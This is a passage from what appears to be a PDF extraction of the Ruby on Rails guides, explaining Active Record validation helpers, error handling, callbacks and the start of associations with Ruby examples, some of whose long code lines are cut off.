values that will be considered as accepted. It defaults to ['1', true] and
can be easily changed.
class Person < ApplicationRecord
validates :terms_of_service, acceptance: { accept: 'yes' }
validates :eula, acceptance: { accept: ['TRUE', 'accepted'] }
end

This validation is very specific to web applications and this 'acceptance'

does not need to be recorded anywhere in your database. If you don't have
a field for it, the helper will just create a virtual attribute. If the field does
exist in your database, the accept option must be set to or include true or
else the validation will not run.
2.2 validates_associated
You should use this helper when your model has associations with other
models and they also need to be validated. When you try to save your
object, valid? will be called upon each one of the associated objects.
class Library < ApplicationRecord
has_many :books
validates_associated :books
end

This validation will work with all of the association types.

Don't use validates_associated on both ends of your associations. They
would call each other in an infinite loop.

The default error message for validates_associated is "is invalid". Note

that each associated object will contain its own errors collection; errors
do not bubble up to the calling model.
2.3 confirmation
You should use this helper when you have two text fields that should
receive exactly the same content. For example, you may want to confirm
an email address or a password. This validation creates a virtual attribute
whose name is the name of the field that has to be confirmed with
"_confirmation" appended.
class Person < ApplicationRecord
validates :email, confirmation: true
end

In your view template you could use something like

<%= text_field :person, :email %>
<%= text_field :person, :email_confirmation %>

This check is performed only if email_confirmation is not nil. To

require confirmation, make sure to add a presence check for the
confirmation attribute (we'll take a look at presence later on in this guide):
class Person < ApplicationRecord
validates :email, confirmation: true
validates :email_confirmation, presence: true
end

There is also a :case_sensitive option that you can use to define whether
the confirmation constraint will be case sensitive or not. This option
defaults to true.

class Person < ApplicationRecord

validates :email, confirmation: { case_sensitive: false }
end

The default error message for this helper is "doesn't match confirmation".
2.4 exclusion
This helper validates that the attributes' values are not included in a given
set. In fact, this set can be any enumerable object.
class Account < ApplicationRecord
validates :subdomain, exclusion: { in: %w(www us ca jp),
message: "%{value} is reserved." }
end

The exclusion helper has an option :in that receives the set of values that
will not be accepted for the validated attributes. The :in option has an
alias called :within that you can use for the same purpose, if you'd like to.
This example uses the :message option to show how you can include the
attribute's value.
The default error message is "is reserved".
2.5 format
This helper validates the attributes' values by testing whether they match a
given regular expression, which is specified using the :with option.
class Product < ApplicationRecord
validates :legacy_code, format: { with: /\A[a-zA-Z]+\z/,
message: "only allows letters" }
end

Alternatively, you can require that the specified attribute does not match
the regular expression by using the :without option.
The default error message is "is invalid".
2.6 inclusion
This helper validates that the attributes' values are included in a given set.
In fact, this set can be any enumerable object.
class Coffee < ApplicationRecord
validates :size, inclusion: { in: %w(small medium large),
message: "%{value} is not a valid size" }
end

The inclusion helper has an option :in that receives the set of values that
will be accepted. The :in option has an alias called :within that you can
use for the same purpose, if you'd like to. The previous example uses the
:message option to show how you can include the attribute's value.
The default error message for this helper is "is not included in the list".
2.7 length
This helper validates the length of the attributes' values. It provides a
variety of options, so you can specify length constraints in different ways:
class Person < ApplicationRecord
validates :name, length: { minimum: 2 }
validates :bio, length: { maximum: 500 }
validates :password, length: { in: 6..20 }
validates :registration_number, length: { is: 6 }
end

The possible length constraint options are:

:minimum - The attribute cannot have less than the specified length.
:maximum - The attribute cannot have more than the specified length.
:in (or :within) - The attribute length must be included in a given

interval. The value for this option must be a range.

:is - The attribute length must be equal to the given value.
The default error messages depend on the type of length validation being
performed. You can personalize these messages using the :wrong_length,
:too_long, and :too_short options and %{count} as a placeholder for the
number corresponding to the length constraint being used. You can still
use the :message option to specify an error message.
class Person < ApplicationRecord
validates :bio, length: { maximum: 1000,
too_long: "%{count} characters is the maximum allowed" }
end

Note that the default error messages are plural (e.g., "is too short
(minimum is %{count} characters)"). For this reason, when :minimum is 1
you should provide a personalized message or use presence: true
instead. When :in or :within have a lower limit of 1, you should either
provide a personalized message or call presence prior to length.
2.8 numericality
This helper validates that your attributes have only numeric values. By
default, it will match an optional sign followed by an integral or floating
point number. To specify that only integral numbers are allowed set
:only_integer to true.
If you set :only_integer to true, then it will use the
/\A[+-]?\d+\z/

regular expression to validate the attribute's value. Otherwise, it will try to

convert the value to a number using Float.
Note that the regular expression above allows a trailing newline character.
class Player < ApplicationRecord
validates :points, numericality: true
validates :games_played, numericality: { only_integer: true }
end

Besides :only_integer, this helper also accepts the following options to

add constraints to acceptable values:
:greater_than - Specifies the value must be greater than the

supplied value. The default error message for this option is "must be
greater than %{count}".
:greater_than_or_equal_to - Specifies the value must be greater
than or equal to the supplied value. The default error message for this
option is "must be greater than or equal to %{count}".
:equal_to - Specifies the value must be equal to the supplied value.
The default error message for this option is "must be equal to %
{count}".
:less_than - Specifies the value must be less than the supplied value.
The default error message for this option is "must be less than %
{count}".
:less_than_or_equal_to - Specifies the value must be less than or
equal to the supplied value. The default error message for this option
is "must be less than or equal to %{count}".
:other_than - Specifies the value must be other than the supplied
value. The default error message for this option is "must be other than
%{count}".
:odd - Specifies the value must be an odd number if set to true. The
default error message for this option is "must be odd".
:even - Specifies the value must be an even number if set to true. The

default error message for this option is "must be even".

By default, numericality doesn't allow nil values. You can use
allow_nil: true option to permit it.
The default error message is "is not a number".
2.9 presence
This helper validates that the specified attributes are not empty. It uses the
blank? method to check if the value is either nil or a blank string, that is,
a string that is either empty or consists of whitespace.
class Person < ApplicationRecord
validates :name, :login, :email, presence: true
end

If you want to be sure that an association is present, you'll need to test

whether the associated object itself is present, and not the foreign key used
to map the association.
class LineItem < ApplicationRecord
belongs_to :order
validates :order, presence: true
end

In order to validate associated records whose presence is required, you

must specify the :inverse_of option for the association:
class Order < ApplicationRecord
has_many :line_items, inverse_of: :order
end

If you validate the presence of an object associated via a has_one or

has_many relationship, it will check that the object is neither blank? nor
marked_for_destruction?.

Since false.blank? is true, if you want to validate the presence of a

boolean field you should use one of the following validations:
validates :boolean_field_name, inclusion: { in: [true, false] }
validates :boolean_field_name, exclusion: { in: [nil] }

By using one of these validations, you will ensure the value will NOT be
nil which would result in a NULL value in most cases.
2.10 absence
This helper validates that the specified attributes are absent. It uses the
present? method to check if the value is not either nil or a blank string,
that is, a string that is either empty or consists of whitespace.
class Person < ApplicationRecord
validates :name, :login, :email, absence: true
end

If you want to be sure that an association is absent, you'll need to test

whether the associated object itself is absent, and not the foreign key used
to map the association.
class LineItem < ApplicationRecord
belongs_to :order
validates :order, absence: true
end

In order to validate associated records whose absence is required, you must

specify the :inverse_of option for the association:

class Order < ApplicationRecord

has_many :line_items, inverse_of: :order
end

If you validate the absence of an object associated via a has_one or

has_many relationship, it will check that the object is neither present? nor
marked_for_destruction?.
Since false.present? is false, if you want to validate the absence of a
boolean field you should use validates :field_name, exclusion: {
in: [true, false] }.
The default error message is "must be blank".
2.11 uniqueness
This helper validates that the attribute's value is unique right before the
object gets saved. It does not create a uniqueness constraint in the
database, so it may happen that two different database connections create
two records with the same value for a column that you intend to be unique.
To avoid that, you must create a unique index on that column in your
database.
class Account < ApplicationRecord
validates :email, uniqueness: true
end

The validation happens by performing an SQL query into the model's

table, searching for an existing record with the same value in that attribute.
There is a :scope option that you can use to specify one or more attributes
that are used to limit the uniqueness check:
class Holiday < ApplicationRecord
validates :name, uniqueness: { scope: :year,

message: "should happen once per year" }

end

Should you wish to create a database constraint to prevent possible

violations of a uniqueness validation using the :scope option, you must
create a unique index on both columns in your database. See the MySQL
manual for more details about multiple column indexes or the PostgreSQL
manual for examples of unique constraints that refer to a group of
columns.
There is also a :case_sensitive option that you can use to define whether
the uniqueness constraint will be case sensitive or not. This option defaults
to true.
class Person < ApplicationRecord
validates :name, uniqueness: { case_sensitive: false }
end

Note that some databases are configured to perform case-insensitive

searches anyway.
The default error message is "has already been taken".
2.12 validates_with
This helper passes the record to a separate class for validation.
class GoodnessValidator < ActiveModel::Validator
def validate(record)
if record.first_name == "Evil"
record.errors[:base] << "This person is evil"
end
end
end
class Person < ApplicationRecord

validates_with GoodnessValidator
end

Errors added to record.errors[:base] relate to the state of the record as

a whole, and not to a specific attribute.
The validates_with helper takes a class, or a list of classes to use for
validation. There is no default error message for validates_with. You
must manually add errors to the record's errors collection in the validator
class.
To implement the validate method, you must have a record parameter
defined, which is the record to be validated.
Like all other validations, validates_with takes the :if, :unless and :on
options. If you pass any other options, it will send those options to the
validator class as options:

class GoodnessValidator < ActiveModel::Validator

def validate(record)
if options[:fields].any?{|field| record.send(field) == "Evil
record.errors[:base] << "This person is evil"
end
end
end

class Person < ApplicationRecord

validates_with GoodnessValidator, fields: [:first_name, :last_
end

Note that the validator will be initialized only once for the whole
application life cycle, and not on each validation run, so be careful about
using instance variables inside it.
If your validator is complex enough that you want instance variables, you
can easily use a plain old Ruby object instead:

class Person < ApplicationRecord

validate do |person|
GoodnessValidator.new(person).validate
end
end
class GoodnessValidator
def initialize(person)
@person = person
end

def validate
if some_complex_condition_involving_ivars_and_private_method
@person.errors[:base] << "This person is evil"
end
end
# ...
end

2.13 validates_each
This helper validates attributes against a block. It doesn't have a predefined
validation function. You should create one using a block, and every
attribute passed to validates_each will be tested against it. In the
following example, we don't want names and surnames to begin with
lower case.

class Person < ApplicationRecord

validates_each :name, :surname do |record, attr, value|
record.errors.add(attr, 'must start with upper case') if val
end
end

The block receives the record, the attribute's name and the attribute's value.
You can do anything you like to check for valid data within the block. If
your validation fails, you should add an error message to the model,

therefore making it invalid.

3 Common Validation Options

These are common validation options:
3.1 :allow_nil
The :allow_nil option skips the validation when the value being
validated is nil.
class Coffee < ApplicationRecord
validates :size, inclusion: { in: %w(small medium large),
message: "%{value} is not a valid size" }, allow_nil: true
end

3.2 :allow_blank
The :allow_blank option is similar to the :allow_nil option. This option
will let validation pass if the attribute's value is blank?, like nil or an
empty string for example.
class Topic < ApplicationRecord
validates :title, length: { is: 5 }, allow_blank: true
end
Topic.create(title: "").valid? # => true
Topic.create(title: nil).valid? # => true

3.3 :message
As you've already seen, the :message option lets you specify the message
that will be added to the errors collection when validation fails. When
this option is not used, Active Record will use the respective default error
message for each validation helper. The :message option accepts a String
or Proc.

A String :message value can optionally contain any/all of %{value}, %

{attribute}, and %{model} which will be dynamically replaced when
validation fails.
A Proc :message value is given two arguments: the object being validated,
and a hash with :model, :attribute, and :value key-value pairs.

class Person < ApplicationRecord

# Hard-coded message
validates :name, presence: { message: "must be given please" }

# Message with dynamic attribute value. %{value} will be repla

# the actual value of the attribute. %{attribute} and %{model}
# available.
validates :age, numericality: { message: "%{value} seems wrong

# Proc
validates :username,
uniqueness: {
# object = person object being validated
# data = { model: "Person", attribute: "Username", value:
message: ->(object, data) do
"Hey #{object.name}!, #{data[:value]} is taken already!
end
}
end

3.4 :on
The :on option lets you specify when the validation should happen. The
default behavior for all the built-in validation helpers is to be run on save
(both when you're creating a new record and when you're updating it). If
you want to change it, you can use on: :create to run the validation only
when a new record is created or on: :update to run the validation only
when a record is updated.
class Person < ApplicationRecord
# it will be possible to update email with a duplicated value

validates :email, uniqueness: true, on: :create

# it will be possible to create the record with a non-numerica

validates :age, numericality: true, on: :update
# the default (validates on both create and update)
validates :name, presence: true
end

You can also use on: to define custom context. Custom contexts need to
be triggered explicitly by passing name of the context to valid?, invalid?
or save.
class Person < ApplicationRecord
validates :email, uniqueness: true, on: :account_setup
validates :age, numericality: true, on: :account_setup
end
person = Person.new

person.valid?(:account_setup) executes both the validations without

saving the model. And person.save(context: :account_setup)
validates person in account_setup context before saving. On explicit

triggers, model is validated by validations of only that context and

validations without context.

4 Strict Validations
You can also specify validations to be strict and raise
ActiveModel::StrictValidationFailed when the object is invalid.
class Person < ApplicationRecord
validates :name, presence: { strict: true }
end

Person.new.valid? # => ActiveModel::StrictValidationFailed: Nam

There is also the ability to pass a custom exception to the :strict option.

class Person < ApplicationRecord

validates :token, presence: true, uniqueness: true, strict: To
end

Person.new.valid? # => TokenGenerationException: Token can't be

5 Conditional Validation
Sometimes it will make sense to validate an object only when a given
predicate is satisfied. You can do that by using the :if and :unless
options, which can take a symbol, a string, a Proc or an Array. You may
use the :if option when you want to specify when the validation should
happen. If you want to specify when the validation should not happen,
then you may use the :unless option.
5.1 Using a Symbol with :if and :unless
You can associate the :if and :unless options with a symbol
corresponding to the name of a method that will get called right before
validation happens. This is the most commonly used option.
class Order < ApplicationRecord
validates :card_number, presence: true, if: :paid_with_card?
def paid_with_card?
payment_type == "card"
end
end

5.2 Using a String with :if and :unless

You can also use a string that will be evaluated using eval and needs to
contain valid Ruby code. You should use this option only when the string
represents a really short condition.
class Person < ApplicationRecord
validates :surname, presence: true, if: "name.nil?"
end

5.3 Using a Proc with :if and :unless

Finally, it's possible to associate :if and :unless with a Proc object
which will be called. Using a Proc object gives you the ability to write an
inline condition instead of a separate method. This option is best suited for
one-liners.
class Account < ApplicationRecord
validates :password, confirmation: true,
unless: Proc.new { |a| a.password.blank? }
end

5.4 Grouping Conditional validations

Sometimes it is useful to have multiple validations use one condition. It
can be easily achieved using with_options.
class User < ApplicationRecord
with_options if: :is_admin? do |admin|
admin.validates :password, length: { minimum: 10 }
admin.validates :email, presence: true
end
end

All validations inside of the with_options block will have automatically

passed the condition if: :is_admin?
5.5 Combining Validation Conditions
On the other hand, when multiple conditions define whether or not a
validation should happen, an Array can be used. Moreover, you can apply
both :if and :unless to the same validation.

class Computer < ApplicationRecord

validates :mouse, presence: true,
if: ["market.retail?", :desktop?],
unless: Proc.new { |c| c.trackpad.present? }
end

The validation only runs when all the :if conditions and none of the
:unless conditions are evaluated to true.

6 Performing Custom Validations

When the built-in validation helpers are not enough for your needs, you
can write your own validators or validation methods as you prefer.
6.1 Custom Validators
Custom validators are classes that inherit from ActiveModel::Validator.
These classes must implement the validate method which takes a record
as an argument and performs the validation on it. The custom validator is
called using the validates_with method.

class MyValidator < ActiveModel::Validator

def validate(record)
unless record.name.starts_with? 'X'
record.errors[:name] << 'Need a name starting with X pleas
end
end
end
class Person
include ActiveModel::Validations
validates_with MyValidator
end

The easiest way to add custom validators for validating individual

attributes is with the convenient ActiveModel::EachValidator. In this
case, the custom validator class must implement a validate_each method
which takes three arguments: record, attribute, and value. These
correspond to the instance, the attribute to be validated, and the value of
the attribute in the passed instance.

class EmailValidator < ActiveModel::EachValidator

def validate_each(record, attribute, value)
unless value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/
record.errors[attribute] << (options[:message] || "is not
end

end
end
class Person < ApplicationRecord
validates :email, presence: true, email: true
end

As shown in the example, you can also combine standard validations with
your own custom validators.
6.2 Custom Methods
You can also create methods that verify the state of your models and add
messages to the errors collection when they are invalid. You must then
register these methods by using the validate (API) class method, passing
in the symbols for the validation methods' names.
You can pass more than one symbol for each class method and the
respective validations will be run in the same order as they were
registered.
The valid? method will verify that the errors collection is empty, so your
custom validation methods should add errors to it when you wish
validation to fail:
class Invoice < ApplicationRecord
validate :expiration_date_cannot_be_in_the_past,
:discount_cannot_be_greater_than_total_value
def expiration_date_cannot_be_in_the_past
if expiration_date.present? && expiration_date < Date.today
errors.add(:expiration_date, "can't be in the past")
end
end
def discount_cannot_be_greater_than_total_value
if discount > total_value

errors.add(:discount, "can't be greater than total value")

end
end
end

By default, such validations will run every time you call valid? or save
the object. But it is also possible to control when to run these custom
validations by giving an :on option to the validate method, with either:
:create or :update.
class Invoice < ApplicationRecord
validate :active_customer, on: :create

def active_customer
errors.add(:customer_id, "is not active") unless customer.ac
end
end

7 Working with Validation Errors

In addition to the valid? and invalid? methods covered earlier, Rails
provides a number of methods for working with the errors collection and
inquiring about the validity of objects.
The following is a list of the most commonly used methods. Please refer to
the ActiveModel::Errors documentation for a list of all the available
methods.
7.1 errors
Returns an instance of the class ActiveModel::Errors containing all
errors. Each key is the attribute name and the value is an array of strings
with all errors.
class Person < ApplicationRecord
validates :name, presence: true, length: { minimum: 3 }
end

person = Person.new
person.valid? # => false
person.errors.messages
# => {:name=>["can't be blank", "is too short (minimum is 3 cha
person = Person.new(name: "John Doe")
person.valid? # => true
person.errors.messages # => {}

7.2 errors[]
errors[] is used when you want to check the error messages for a specific

attribute. It returns an array of strings with all error messages for the given
attribute, each string with one error message. If there are no errors related
to the attribute, it returns an empty array.

class Person < ApplicationRecord

validates :name, presence: true, length: { minimum: 3 }
end
person = Person.new(name: "John Doe")
person.valid? # => true
person.errors[:name] # => []

person = Person.new(name: "JD")

person.valid? # => false
person.errors[:name] # => ["is too short (minimum is 3 character

person = Person.new
person.valid? # => false
person.errors[:name]
# => ["can't be blank", "is too short (minimum is 3 characters)

7.3 errors.add
The add method lets you add an error message related to a particular
attribute. It takes as arguments the attribute and the error message.
The errors.full_messages method (or its equivalent, errors.to_a)
returns the error messages in a user-friendly format, with the capitalized
attribute name prepended to each message, as shown in the examples
below.

class Person < ApplicationRecord

def a_method_used_for_validation_purposes
errors.add(:name, "cannot contain the characters !@#%*()_-+=
end
end
person = Person.create(name: "!@#")
person.errors[:name]
# => ["cannot contain the characters !@#%*()_-+="]
person.errors.full_messages

# => ["Name cannot contain the characters !@#%*()_-+="]

An equivalent to errors#add is to use << to append a message to the

errors.messages array for an attribute:

class Person < ApplicationRecord

def a_method_used_for_validation_purposes
errors.messages[:name] << "cannot contain the characters !
end
end
person = Person.create(name: "!@#")
person.errors[:name]
# => ["cannot contain the characters !@#%*()_-+="]
person.errors.to_a
# => ["Name cannot contain the characters !@#%*()_-+="]

7.4 errors.details
You can specify a validator type to the returned error details hash using the
errors.add method.
class Person < ApplicationRecord
def a_method_used_for_validation_purposes
errors.add(:name, :invalid_characters)
end
end
person = Person.create(name: "!@#")
person.errors.details[:name]
# => [{error: :invalid_characters}]

To improve the error details to contain the unallowed characters set for
instance, you can pass additional keys to errors.add.

class Person < ApplicationRecord

def a_method_used_for_validation_purposes
errors.add(:name, :invalid_characters, not_allowed: "!@#%*()
end
end
person = Person.create(name: "!@#")
person.errors.details[:name]
# => [{error: :invalid_characters, not_allowed: "!@#%*()_-+="}]

All built in Rails validators populate the details hash with the
corresponding validator type.
7.5 errors[:base]
You can add error messages that are related to the object's state as a whole,
instead of being related to a specific attribute. You can use this method
when you want to say that the object is invalid, no matter the values of its
attributes. Since errors[:base] is an array, you can simply add a string to
it and it will be used as an error message.
class Person < ApplicationRecord
def a_method_used_for_validation_purposes
errors[:base] << "This person is invalid because ..."
end
end

7.6 errors.clear
The clear method is used when you intentionally want to clear all the
messages in the errors collection. Of course, calling errors.clear upon
an invalid object won't actually make it valid: the errors collection will
now be empty, but the next time you call valid? or any method that tries
to save this object to the database, the validations will run again. If any of

the validations fail, the errors collection will be filled again.

class Person < ApplicationRecord
validates :name, presence: true, length: { minimum: 3 }
end

person = Person.new
person.valid? # => false
person.errors[:name]
# => ["can't be blank", "is too short (minimum is 3 characters)
person.errors.clear
person.errors.empty? # => true
person.save # => false

person.errors[:name]
# => ["can't be blank", "is too short (minimum is 3 characters)"

7.7 errors.size
The size method returns the total number of error messages for the object.
class Person < ApplicationRecord
validates :name, presence: true, length: { minimum: 3 }
end
person = Person.new
person.valid? # => false
person.errors.size # => 2

person = Person.new(name: "Andrea", email: "[email protected]")

person.valid? # => true
person.errors.size # => 0

8 Displaying Validation Errors in Views

Once you've created a model and added validations, if that model is
created via a web form, you probably want to display an error message
when one of the validations fail.
Because every application handles this kind of thing differently, Rails does
not include any view helpers to help you generate these messages directly.
However, due to the rich number of methods Rails gives you to interact
with validations in general, it's fairly easy to build your own. In addition,
when generating a scaffold, Rails will put some ERB into the
_form.html.erb that it generates that displays the full list of errors on that
model.
Assuming we have a model that's been saved in an instance variable
named @article, it looks like this:

<% if @article.errors.any? %>

<div id="error_explanation">
<h2><%= pluralize(@article.errors.count, "error") %> prohibi
<ul>
<% @article.errors.full_messages.each do |msg| %>
<li><%= msg %></li>
<% end %>
</ul>
</div>
<% end %>

Furthermore, if you use the Rails form helpers to generate your forms,
when a validation error occurs on a field, it will generate an extra <div>
around the entry.

You can then style this div however you'd like. The default scaffold that
Rails generates, for example, adds this CSS rule:
.field_with_errors {
padding: 2px;
background-color: red;
display: table;
}

This means that any field with an error ends up with a 2 pixel red border.

Active Record Callbacks Ruby

on...

1 The Object Life Cycle

During the normal operation of a Rails application, objects may be created,
updated, and destroyed. Active Record provides hooks into this object life
cycle so that you can control your application and its data.
Callbacks allow you to trigger logic before or after an alteration of an
object's state.

2 Callbacks Overview
Callbacks are methods that get called at certain moments of an object's life
cycle. With callbacks it is possible to write code that will run whenever an
Active Record object is created, saved, updated, deleted, validated, or
loaded from the database.
2.1 Callback Registration
In order to use the available callbacks, you need to register them. You can
implement the callbacks as ordinary methods and use a macro-style class
method to register them as callbacks:
class User < ApplicationRecord
validates :login, :email, presence: true
before_validation :ensure_login_has_a_value
protected
def ensure_login_has_a_value
if login.nil?
self.login = email unless email.blank?
end
end
end

The macro-style class methods can also receive a block. Consider using
this style if the code inside your block is so short that it fits in a single line:
class User < ApplicationRecord
validates :login, :email, presence: true
before_create do
self.name = login.capitalize if name.blank?
end
end

Callbacks can also be registered to only fire on certain life cycle events:
class User < ApplicationRecord
before_validation :normalize_name, on: :create
# :on takes an array as well
after_validation :set_location, on: [ :create, :update ]
protected
def normalize_name
self.name = name.downcase.titleize
end
def set_location
self.location = LocationService.query(self)
end
end

It is considered good practice to declare callback methods as protected or

private. If left public, they can be called from outside of the model and
violate the principle of object encapsulation.

3 Available Callbacks
Here is a list with all the available Active Record callbacks, listed in the
same order in which they will get called during the respective operations:
3.1 Creating an Object
before_validation
after_validation
before_save
around_save
before_create
around_create
after_create
after_save
after_commit/after_rollback

3.2 Updating an Object

before_validation
after_validation
before_save
around_save
before_update
around_update
after_update
after_save
after_commit/after_rollback

3.3 Destroying an Object

before_destroy
around_destroy

after_destroy
after_commit/after_rollback
after_save runs both on create and update, but always after the more
specific callbacks after_create and after_update, no matter the order in

which the macro calls were executed.

3.4 after_initialize and after_find
The after_initialize callback will be called whenever an Active Record
object is instantiated, either by directly using new or when a record is
loaded from the database. It can be useful to avoid the need to directly
override your Active Record initialize method.
The after_find callback will be called whenever Active Record loads a
record from the database. after_find is called before after_initialize
if both are defined.
The after_initialize and after_find callbacks have no before_*
counterparts, but they can be registered just like the other Active Record
callbacks.
class User < ApplicationRecord
after_initialize do |user|
puts "You have initialized an object!"
end
after_find do |user|
puts "You have found an object!"
end
end
>> User.new
You have initialized an object!
=> #<User id: nil>
>> User.first

You have found an object!

You have initialized an object!
=> #<User id: 1>

3.5 after_touch
The after_touch callback will be called whenever an Active Record
object is touched.
class User < ApplicationRecord
after_touch do |user|
puts "You have touched an object"
end
end

>> u = User.create(name: 'Kuldeep')

=> #<User id: 1, name: "Kuldeep", created_at: "2013-11-25 12:17:
>> u.touch
You have touched an object
=> true

It can be used along with belongs_to:

class Employee < ApplicationRecord
belongs_to :company, touch: true
after_touch do
puts 'An Employee was touched'
end
end
class Company < ApplicationRecord
has_many :employees
after_touch :log_when_employees_or_company_touched
private
def log_when_employees_or_company_touched
puts 'Employee/Company was touched'
end

end

>> @employee = Employee.last

=> #<Employee id: 1, company_id: 1, created_at: "2013-11-25 17:0
# triggers @employee.company.touch
>> @employee.touch
Employee/Company was touched
An Employee was touched
=> true

4 Running Callbacks
The following methods trigger callbacks:
create
create!
decrement!
destroy
destroy!
destroy_all
increment!
save
save!
save(validate: false)
toggle!
update_attribute
update
update!
valid?

Additionally, the after_find callback is triggered by the following finder

methods:
all
first
find
find_by
find_by_*
find_by_*!
find_by_sql
last

The after_initialize callback is triggered every time a new object of

the class is initialized.

The find_by_* and find_by_*! methods are dynamic finders generated

automatically for every attribute. Learn more about them at the Dynamic
finders section

5 Skipping Callbacks
Just as with validations, it is also possible to skip callbacks by using the
following methods:
decrement
decrement_counter
delete
delete_all
increment
increment_counter
toggle
touch
update_column
update_columns
update_all
update_counters

These methods should be used with caution, however, because important

business rules and application logic may be kept in callbacks. Bypassing
them without understanding the potential implications may lead to invalid
data.

6 Halting Execution
As you start registering new callbacks for your models, they will be
queued for execution. This queue will include all your model's validations,
the registered callbacks, and the database operation to be executed.
The whole callback chain is wrapped in a transaction. If any before
callback method returns exactly false or raises an exception, the
execution chain gets halted and a ROLLBACK is issued; after callbacks
can only accomplish that by raising an exception.
Any exception that is not ActiveRecord::Rollback or
ActiveRecord::RecordInvalid will be re-raised by Rails after the
callback chain is halted. Raising an exception other than
ActiveRecord::Rollback or ActiveRecord::RecordInvalid may break
code that does not expect methods like save and update_attributes
(which normally try to return true or false) to raise an exception.

7 Relational Callbacks
Callbacks work through model relationships, and can even be defined by
them. Suppose an example where a user has many articles. A user's articles
should be destroyed if the user is destroyed. Let's add an after_destroy
callback to the User model by way of its relationship to the Article
model:
class User < ApplicationRecord
has_many :articles, dependent: :destroy
end
class Article < ApplicationRecord
after_destroy :log_destroy_action
def log_destroy_action
puts 'Article destroyed'
end
end
>> user = User.first
=> #<User id: 1>
>> user.articles.create!
=> #<Article id: 1, user_id: 1>
>> user.destroy
Article destroyed
=> #<User id: 1>

8 Conditional Callbacks
As with validations, we can also make the calling of a callback method
conditional on the satisfaction of a given predicate. We can do this using
the :if and :unless options, which can take a symbol, a string, a Proc or
an Array. You may use the :if option when you want to specify under
which conditions the callback should be called. If you want to specify the
conditions under which the callback should not be called, then you may
use the :unless option.
8.1 Using :if and :unless with a Symbol
You can associate the :if and :unless options with a symbol
corresponding to the name of a predicate method that will get called right
before the callback. When using the :if option, the callback won't be
executed if the predicate method returns false; when using the :unless
option, the callback won't be executed if the predicate method returns true.
This is the most common option. Using this form of registration it is also
possible to register several different predicates that should be called to
check if the callback should be executed.
class Order < ApplicationRecord
before_save :normalize_card_number, if: :paid_with_card?
end

8.2 Using :if and :unless with a String

You can also use a string that will be evaluated using eval and hence
needs to contain valid Ruby code. You should use this option only when
the string represents a really short condition:
class Order < ApplicationRecord
before_save :normalize_card_number, if: "paid_with_card?"
end

8.3 Using :if and :unless with a Proc

Finally, it is possible to associate :if and :unless with a Proc object. This
option is best suited when writing short validation methods, usually oneliners:
class Order < ApplicationRecord
before_save :normalize_card_number,
if: Proc.new { |order| order.paid_with_card? }
end

8.4 Multiple Conditions for Callbacks

When writing conditional callbacks, it is possible to mix both :if and
:unless in the same callback declaration:

class Comment < ApplicationRecord

after_create :send_email_to_author, if: :author_wants_emails?,
unless: Proc.new { |comment| comment.article.ignore_comments
end

9 Callback Classes
Sometimes the callback methods that you'll write will be useful enough to
be reused by other models. Active Record makes it possible to create
classes that encapsulate the callback methods, so it becomes very easy to
reuse them.
Here's an example where we create a class with an after_destroy
callback for a PictureFile model:
class PictureFileCallbacks
def after_destroy(picture_file)
if File.exist?(picture_file.filepath)
File.delete(picture_file.filepath)
end
end
end

When declared inside a class, as above, the callback methods will receive
the model object as a parameter. We can now use the callback class in the
model:
class PictureFile < ApplicationRecord
after_destroy PictureFileCallbacks.new
end

Note that we needed to instantiate a new PictureFileCallbacks object,

since we declared our callback as an instance method. This is particularly
useful if the callbacks make use of the state of the instantiated object.
Often, however, it will make more sense to declare the callbacks as class
methods:
class PictureFileCallbacks
def self.after_destroy(picture_file)
if File.exist?(picture_file.filepath)
File.delete(picture_file.filepath)

end
end
end

If the callback method is declared this way, it won't be necessary to

instantiate a PictureFileCallbacks object.
class PictureFile < ApplicationRecord
after_destroy PictureFileCallbacks
end

You can declare as many callbacks as you want inside your callback
classes.

10 Transaction Callbacks
There are two additional callbacks that are triggered by the completion of a
database transaction: after_commit and after_rollback. These callbacks
are very similar to the after_save callback except that they don't execute
until after database changes have either been committed or rolled back.
They are most useful when your active record models need to interact with
external systems which are not part of the database transaction.
Consider, for example, the previous example where the PictureFile
model needs to delete a file after the corresponding record is destroyed. If
anything raises an exception after the after_destroy callback is called
and the transaction rolls back, the file will have been deleted and the
model will be left in an inconsistent state. For example, suppose that
picture_file_2 in the code below is not valid and the save! method
raises an error.
PictureFile.transaction do
picture_file_1.destroy
picture_file_2.save!
end

By using the after_commit callback we can account for this case.

class PictureFile < ApplicationRecord
after_commit :delete_picture_file_from_disk, on: [:destroy]
def delete_picture_file_from_disk
if File.exist?(filepath)
File.delete(filepath)
end
end
end

the :on option specifies when a callback will be fired. If you don't supply

the :on option the callback will fire for every action.
Since using after_commit callback only on create, update or delete is
common, there are aliases for those operations:
after_create_commit
after_update_commit
after_destroy_commit
class PictureFile < ApplicationRecord
after_destroy_commit :delete_picture_file_from_disk
def delete_picture_file_from_disk
if File.exist?(filepath)
File.delete(filepath)
end
end
end

The after_commit and after_rollback callbacks are guaranteed to be

called for all models created, updated, or destroyed within a transaction
block. If any exceptions are raised within one of these callbacks, they will
be ignored so that they don't interfere with the other callbacks. As such, if
your callback code could raise an exception, you'll need to rescue it and
handle it appropriately within the callback.

Active Record Associations

Ruby on...

1 Why Associations?
In Rails, an association is a connection between two Active Record
models. Why do we need associations between models? Because they
make common operations simpler and easier in your code. For example,
consider a simple Rails application that includes a model for authors and a
model for books. Each author can have many books. Without associations,
the model declarations would look like this:
class Author < ApplicationRecord
end
class Book < ApplicationRecord
end

Now, suppose we wanted to add a new book for an existing author. We'd
need to do something like this:

@book = Book.create(published_at: Time.now, author_id: @author.i

Or consider deleting an author, and ensuring that all of its books get
deleted as well:
@books = Book.where(author_id: @author.id)
@books.each do |book|
book.destroy
end
@author.destroy

With Active Record associations, we can streamline these - and other operations by declaratively telling Rails that there is a connection between
the two models. Here's the revised code for setting up authors and books:
class Author < ApplicationRecord
has_many :books, dependent: :destroy

end
class Book < ApplicationRecord
belongs_to :author
end

With this change, creating a new book for a particular author is easier:
@book = @author.books.create(published_at: Time.now)

Deleting an author and all of its books is much easier:

@author.destroy

To learn more about the different types of associations, read the next
section of this guide. That's followed by some tips and tricks for working
with associations, and then by a complete reference to the methods and
options for associations in Rails.

2 The Types of Associations

Rails supports six types of associations:
belongs_to
has_one
has_many
has_many :through
has_one :through
has_and_belongs_to_many

Associations are implemented using macro-style calls, so that you can

declaratively add features to your models. For example, by declaring that
one model belongs_to another, you instruct Rails to maintain Primary
Key-Foreign Key information between instances of the two models, and
you also get a number of utility methods added to your model.
In the remainder of this guide, you'll learn how to declare and use the
